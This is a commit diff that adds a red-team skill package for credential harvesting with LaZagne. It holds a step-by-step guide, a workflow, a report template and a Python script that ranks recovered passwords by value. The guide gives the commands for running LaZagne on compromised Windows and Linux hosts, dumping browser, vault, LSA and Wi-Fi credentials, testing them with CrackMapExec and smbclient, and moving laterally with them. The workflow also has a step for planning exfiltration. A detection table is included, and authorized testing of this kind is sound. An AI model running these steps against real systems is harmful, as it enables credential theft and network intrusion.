Initial commit - 611 cybersecurity skills across all subdomains

skills/performing-credential-access-with-lazagne/SKILL.md

@@ -0,0 +1,190 @@
+---
+name: performing-credential-access-with-lazagne
+description: Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.
+domain: cybersecurity
+subdomain: red-teaming
+tags: [red-team, credential-access, lazagne, post-exploitation, password-recovery, credential-dumping, lateral-movement]
+version: "1.0"
+author: mahipal
+license: MIT
+---
+# Performing Credential Access with LaZagne
+
+## Overview
+
+LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.
+
+## Objectives
+
+- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
+- Extract credentials from all supported password stores
+- Parse and prioritize recovered credentials for lateral movement
+- Identify high-value credentials (domain admin, service accounts, cloud access)
+- Document credential harvesting results with appropriate evidence handling
+- Correlate recovered credentials with BloodHound attack paths
+
+## MITRE ATT&CK Mapping
+
+- **T1555** - Credentials from Password Stores
+- **T1555.003** - Credentials from Password Stores: Credentials from Web Browsers
+- **T1555.004** - Credentials from Password Stores: Windows Credential Manager
+- **T1552.001** - Unsecured Credentials: Credentials In Files
+- **T1552.002** - Unsecured Credentials: Credentials in Registry
+- **T1003.004** - OS Credential Dumping: LSA Secrets
+- **T1539** - Steal Web Session Cookie
+
+## Implementation Steps
+
+### Phase 1: LaZagne Deployment
+1. Transfer LaZagne to the compromised host:
+   ```powershell
+   # Pre-compiled executable (Windows)
+   # Transfer lazagne.exe via C2 channel or file upload
+
+   # Python version (requires Python on target)
+   git clone https://github.com/AlessandroZ/LaZagne.git
+   cd LaZagne
+   pip install -r requirements.txt
+   ```
+2. Verify execution capability and privileges:
+   ```powershell
+   # Check current user context
+   whoami /priv
+
+   # LaZagne works with standard user privileges for user-level stores
+   # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
+   ```
+
+### Phase 2: Full Credential Extraction (Windows)
+1. Run LaZagne with all modules:
+   ```powershell
+   # Extract all credentials
+   lazagne.exe all
+
+   # Export results to JSON
+   lazagne.exe all -oJ
+
+   # Export results to specific file
+   lazagne.exe all -oJ -output C:\Temp\creds
+   ```
+2. Run specific modules for targeted extraction:
+   ```powershell
+   # Browsers only (Chrome, Firefox, Edge, Opera, IE)
+   lazagne.exe browsers
+
+   # Windows credential stores
+   lazagne.exe windows
+
+   # Database credentials
+   lazagne.exe databases
+
+   # Email client credentials
+   lazagne.exe mails
+
+   # Wi-Fi passwords
+   lazagne.exe wifi
+
+   # Git credentials
+   lazagne.exe git
+
+   # System credentials (requires elevated privileges)
+   lazagne.exe sysadmin
+   ```
+
+### Phase 3: Credential Extraction (Linux)
+1. Run LaZagne on Linux targets:
+   ```bash
+   # Full extraction
+   python3 laZagne.py all
+
+   # Browser credentials
+   python3 laZagne.py browsers
+
+   # System credentials (SSH keys, shadow file with root)
+   python3 laZagne.py sysadmin
+
+   # Database credentials
+   python3 laZagne.py databases
+
+   # Git credentials
+   python3 laZagne.py git
+   ```
+
+### Phase 4: Credential Analysis and Prioritization
+1. Parse JSON output for unique credentials:
+   ```python
+   import json
+   with open("creds.json") as f:
+       results = json.load(f)
+   for module in results:
+       for entry in module.get("results", []):
+           print(f"Source: {entry.get('Category')}")
+           print(f"  User: {entry.get('Login', 'N/A')}")
+           print(f"  URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
+   ```
+2. Prioritize credentials by value:
+   - Domain credentials (AD accounts) for lateral movement
+   - Cloud service credentials (AWS, Azure, GCP console)
+   - VPN and remote access credentials
+   - Database credentials for data access
+   - Email credentials for business email compromise
+   - Service account credentials for privilege escalation
+
+### Phase 5: Credential Validation and Use
+1. Validate recovered domain credentials:
+   ```bash
+   # Test domain credentials with CrackMapExec
+   crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
+
+   # Test with Impacket
+   smbclient.py domain.local/user:'password'@10.10.10.1
+   ```
+2. Cross-reference with BloodHound paths for high-value targets
+3. Use recovered credentials for lateral movement or privilege escalation
+
+## Tools and Resources
+
+| Tool | Purpose | Platform |
+|------|---------|----------|
+| LaZagne | Multi-source credential extraction | Windows/Linux/macOS |
+| Mimikatz | LSASS/DPAPI credential dumping | Windows |
+| SharpChrome | Chrome credential extraction (.NET) | Windows |
+| SharpDPAPI | DPAPI credential decryption | Windows |
+| CrackMapExec | Credential validation and spraying | Linux |
+| Impacket | Remote credential testing | Linux (Python) |
+
+## LaZagne Module Coverage (Windows)
+
+| Category | Modules |
+|----------|---------|
+| Browsers | Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |
+| Email | Outlook, Thunderbird, Foxmail |
+| Databases | PostgreSQL, MySQL, SQLiteDB, Robomongo |
+| Sysadmin | PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |
+| Windows | Credential Manager, Vault, DPAPI, Autologon |
+| WiFi | Stored Wi-Fi passwords |
+| Git | Git Credential Store, Git Credential Manager |
+| SVN | TortoiseSVN |
+| Chat | Pidgin, Skype |
+
+## Detection Signatures
+
+| Indicator | Detection Method |
+|-----------|-----------------|
+| LaZagne.exe process execution | EDR process monitoring with hash-based detection |
+| Access to Chrome Login Data SQLite DB | File access monitoring on browser credential stores |
+| DPAPI CryptUnprotectData API calls | API hooking and ETW tracing |
+| Access to Windows Credential Manager | Event 5379 (Credential Manager read) |
+| Mass credential store enumeration | Behavioral analysis for sequential access patterns |
+| Python interpreter accessing credential files | Script block logging and file access auditing |
+
+## Validation Criteria
+
+- [ ] LaZagne deployed on compromised endpoint
+- [ ] Full credential extraction completed (all modules)
+- [ ] Credentials exported in JSON format for analysis
+- [ ] Recovered credentials parsed and deduplicated
+- [ ] High-value credentials identified and prioritized
+- [ ] Domain credentials validated against AD
+- [ ] Lateral movement opportunities identified from recovered creds
+- [ ] Evidence documented with appropriate handling procedures

skills/performing-credential-access-with-lazagne/assets/template.md

@@ -0,0 +1,36 @@
+# LaZagne Credential Harvesting Report Template
+
+## Engagement Details
+
+| Field | Value |
+|-------|-------|
+| Host Name | |
+| Host IP | |
+| User Context | Standard / Admin / SYSTEM |
+| OS | |
+| Collection Date | |
+
+## Credential Summary
+
+| Category | Count | Priority |
+|----------|-------|----------|
+| Domain Credentials | | Critical |
+| Cloud Credentials | | High |
+| Remote Access | | High |
+| Database | | Medium |
+| Email | | Medium |
+| Web/Browser | | Low |
+| Other | | Info |
+
+## Lateral Movement Opportunities
+
+| Credential | Target System | Access Type | Validated |
+|-----------|--------------|-------------|-----------|
+| | | SMB / RDP / SSH | Yes / No |
+
+## Evidence Handling
+
+- [ ] Credentials stored in encrypted container
+- [ ] Access limited to authorized team members
+- [ ] Credentials will be purged after engagement
+- [ ] Client notified of credential exposure scope

skills/performing-credential-access-with-lazagne/references/standards.md

@@ -0,0 +1,29 @@
+# Standards and References - LaZagne Credential Access
+
+## MITRE ATT&CK References
+
+| Technique ID | Name | Tactic |
+|-------------|------|--------|
+| T1555 | Credentials from Password Stores | Credential Access |
+| T1555.003 | Credentials from Web Browsers | Credential Access |
+| T1555.004 | Windows Credential Manager | Credential Access |
+| T1552.001 | Credentials In Files | Credential Access |
+| T1552.002 | Credentials in Registry | Credential Access |
+| T1003.004 | LSA Secrets | Credential Access |
+| T1539 | Steal Web Session Cookie | Credential Access |
+
+## MITRE ATT&CK Software Entry
+
+- LaZagne: S0349 (https://attack.mitre.org/software/S0349/)
+
+## Official Resources
+
+- LaZagne GitHub: https://github.com/AlessandroZ/LaZagne
+- Atomic Red Team T1555: https://atomicredteam.io/credential-access/T1555/
+- MITRE T1555: https://attack.mitre.org/techniques/T1555/
+
+## Detection References
+
+- Windows Event 5379: Credential Manager credentials were read
+- DPAPI CryptUnprotectData monitoring
+- Chrome Login Data file access monitoring

skills/performing-credential-access-with-lazagne/references/workflows.md

@@ -0,0 +1,53 @@
+# Workflows - LaZagne Credential Access
+
+## Credential Harvesting Workflow
+
+```
+1. Pre-Execution
+   ├── Verify access level (standard user vs. admin/SYSTEM)
+   ├── Check AV/EDR status on target
+   ├── Prepare output directory for results
+   └── Plan exfiltration method for credential data
+
+2. Execution
+   ├── Run lazagne.exe all -oJ for full extraction
+   ├── Run specific modules if full scan is too noisy
+   ├── Elevate to SYSTEM if needed for DPAPI/LSA
+   └── Collect output files
+
+3. Analysis
+   ├── Parse JSON output
+   ├── Deduplicate credentials
+   ├── Categorize by source (browser, email, system, etc.)
+   └── Prioritize by value (domain creds > local > web)
+
+4. Validation
+   ├── Test domain credentials with CrackMapExec
+   ├── Verify cloud credentials (AWS CLI, Azure CLI)
+   ├── Check VPN/remote access credentials
+   └── Map credentials to BloodHound attack paths
+
+5. Lateral Movement
+   ├── Use validated credentials for next hop
+   ├── Repeat credential harvesting on new targets
+   └── Document credential chain for report
+```
+
+## Module Execution Priority
+
+```
+High Priority (run first):
+  browsers    → Web application credentials, SSO tokens
+  windows     → Domain cached credentials, DPAPI
+  sysadmin    → SSH keys, RDP credentials, PuTTY
+
+Medium Priority:
+  databases   → Database connection strings
+  mails       → Email credentials for BEC
+  git         → Source code repository access
+
+Low Priority:
+  wifi        → Network access but limited value
+  chat        → Communication platform access
+  svn         → Legacy source control
+```

skills/performing-credential-access-with-lazagne/scripts/process.py

@@ -0,0 +1,197 @@
+#!/usr/bin/env python3
+"""
+LaZagne Output Parser and Credential Analysis Script
+
+Parses LaZagne JSON output, deduplicates credentials, and generates
+prioritized reports. For authorized red team engagements only.
+"""
+
+import json
+import sys
+import os
+from datetime import datetime
+from collections import defaultdict
+
+
+def load_lazagne_output(filepath: str) -> list:
+    """Load LaZagne JSON output file."""
+    try:
+        with open(filepath, "r") as f:
+            return json.load(f)
+    except (FileNotFoundError, json.JSONDecodeError) as e:
+        print(f"Error loading LaZagne output: {e}")
+        return []
+
+
+def parse_credentials(data: list) -> list:
+    """Parse LaZagne output into normalized credential entries."""
+    credentials = []
+
+    for module_result in data:
+        if isinstance(module_result, dict):
+            category = module_result.get("Category", "Unknown")
+            results = module_result.get("results", [])
+
+            if isinstance(results, list):
+                for entry in results:
+                    if isinstance(entry, dict):
+                        cred = {
+                            "category": category,
+                            "username": entry.get("Login", entry.get("Username", "")),
+                            "password": entry.get("Password", ""),
+                            "url": entry.get("URL", entry.get("Host", "")),
+                            "port": entry.get("Port", ""),
+                            "source": entry.get("Software", entry.get("Module", category)),
+                            "raw": entry
+                        }
+                        if cred["username"] or cred["password"]:
+                            credentials.append(cred)
+
+    return credentials
+
+
+def deduplicate_credentials(credentials: list) -> list:
+    """Remove duplicate credential entries."""
+    seen = set()
+    unique = []
+
+    for cred in credentials:
+        key = (
+            cred["username"].lower(),
+            cred["password"],
+            cred["url"].lower() if cred["url"] else ""
+        )
+        if key not in seen:
+            seen.add(key)
+            unique.append(cred)
+
+    return unique
+
+
+def categorize_credentials(credentials: list) -> dict:
+    """Categorize credentials by type and priority."""
+    categories = {
+        "domain": [],
+        "cloud": [],
+        "database": [],
+        "remote_access": [],
+        "email": [],
+        "web": [],
+        "other": []
+    }
+
+    cloud_indicators = ["aws", "azure", "gcp", "cloud", "console."]
+    remote_indicators = ["rdp", "ssh", "vnc", "vpn", "putty", "winscp"]
+    db_indicators = ["postgres", "mysql", "mssql", "oracle", "mongodb", "redis"]
+    email_indicators = ["outlook", "thunderbird", "smtp", "imap", "pop3", "mail"]
+
+    for cred in credentials:
+        source_lower = cred["source"].lower()
+        url_lower = cred["url"].lower() if cred["url"] else ""
+        combined = source_lower + " " + url_lower
+
+        if "\\" in cred["username"] or "@" in cred["username"]:
+            if any(domain_hint in cred["username"].lower()
+                   for domain_hint in [".local", ".corp", ".internal", "\\"]):
+                categories["domain"].append(cred)
+                continue
+
+        if any(ind in combined for ind in cloud_indicators):
+            categories["cloud"].append(cred)
+        elif any(ind in combined for ind in db_indicators):
+            categories["database"].append(cred)
+        elif any(ind in combined for ind in remote_indicators):
+            categories["remote_access"].append(cred)
+        elif any(ind in combined for ind in email_indicators):
+            categories["email"].append(cred)
+        elif cred["url"]:
+            categories["web"].append(cred)
+        else:
+            categories["other"].append(cred)
+
+    return categories
+
+
+def generate_report(credentials: list, categories: dict, source_file: str) -> str:
+    """Generate a credential analysis report."""
+    report = [
+        "=" * 70,
+        "LaZagne Credential Analysis Report",
+        f"Generated: {datetime.now().isoformat()}",
+        f"Source File: {source_file}",
+        "=" * 70,
+        "",
+        f"Total Credentials Recovered: {len(credentials)}",
+        "",
+        "Breakdown by Priority:",
+        f"  [CRITICAL] Domain Credentials: {len(categories['domain'])}",
+        f"  [HIGH]     Cloud Credentials: {len(categories['cloud'])}",
+        f"  [HIGH]     Remote Access: {len(categories['remote_access'])}",
+        f"  [MEDIUM]   Database Credentials: {len(categories['database'])}",
+        f"  [MEDIUM]   Email Credentials: {len(categories['email'])}",
+        f"  [LOW]      Web Credentials: {len(categories['web'])}",
+        f"  [INFO]     Other: {len(categories['other'])}",
+        ""
+    ]
+
+    priority_order = [
+        ("CRITICAL", "Domain Credentials", categories["domain"]),
+        ("HIGH", "Cloud Credentials", categories["cloud"]),
+        ("HIGH", "Remote Access Credentials", categories["remote_access"]),
+        ("MEDIUM", "Database Credentials", categories["database"]),
+        ("MEDIUM", "Email Credentials", categories["email"]),
+    ]
+
+    for priority, label, creds in priority_order:
+        if creds:
+            report.append(f"[{priority}] {label}:")
+            report.append("-" * 50)
+            for cred in creds:
+                report.append(f"  Source: {cred['source']}")
+                report.append(f"  User: {cred['username']}")
+                report.append(f"  Target: {cred['url'] or 'N/A'}")
+                report.append("")
+
+    # Source distribution
+    source_counts = defaultdict(int)
+    for cred in credentials:
+        source_counts[cred["source"]] += 1
+
+    report.append("Credentials by Source:")
+    report.append("-" * 50)
+    for source, count in sorted(source_counts.items(), key=lambda x: -x[1]):
+        report.append(f"  {source}: {count}")
+
+    report.append("")
+    report.append("=" * 70)
+    return "\n".join(report)
+
+
+def main():
+    """Main entry point."""
+    if len(sys.argv) < 2:
+        print("Usage: python process.py <lazagne_output.json>")
+        return
+
+    input_file = sys.argv[1]
+    data = load_lazagne_output(input_file)
+
+    if not data:
+        print("No data loaded from LaZagne output.")
+        return
+
+    credentials = parse_credentials(data)
+    credentials = deduplicate_credentials(credentials)
+    categories = categorize_credentials(credentials)
+
+    report = generate_report(credentials, categories, input_file)
+    print(report)
+
+    report_file = f"credential_analysis_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt"
+    with open(report_file, "w") as f:
+        f.write(report)
+    print(f"\nReport saved to: {report_file}")
+
+
+if __name__ == "__main__":
+    main()